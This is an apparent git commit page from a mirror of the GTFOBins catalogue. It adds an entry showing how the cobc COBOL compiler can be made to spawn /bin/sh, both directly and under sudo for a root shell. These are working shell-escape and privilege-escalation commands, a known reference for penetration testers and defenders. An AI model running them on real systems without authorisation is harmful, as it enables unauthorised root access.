mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Create cobc.md
This commit is contained in:
parent
d8a1e55782
commit
b94b01477c
13
_gtfobins/cobc.md
Normal file
13
_gtfobins/cobc.md
Normal file
@ -0,0 +1,13 @@
|
|||||||
|
---
|
||||||
|
functions:
|
||||||
|
shell:
|
||||||
|
- code: |
|
||||||
|
TF=$(mktemp -d)
|
||||||
|
echo 'CALL "SYSTEM" USING "/bin/sh".' > $TF/x
|
||||||
|
cobc -xFj --frelax-syntax-checks $TF/x
|
||||||
|
sudo:
|
||||||
|
- code: |
|
||||||
|
TF=$(mktemp -d)
|
||||||
|
echo 'CALL "SYSTEM" USING "/bin/sh".' > $TF/x
|
||||||
|
sudo cobc -xFj --frelax-syntax-checks $TF/x
|
||||||
|
---
|
Loading…
Reference in New Issue
Block a user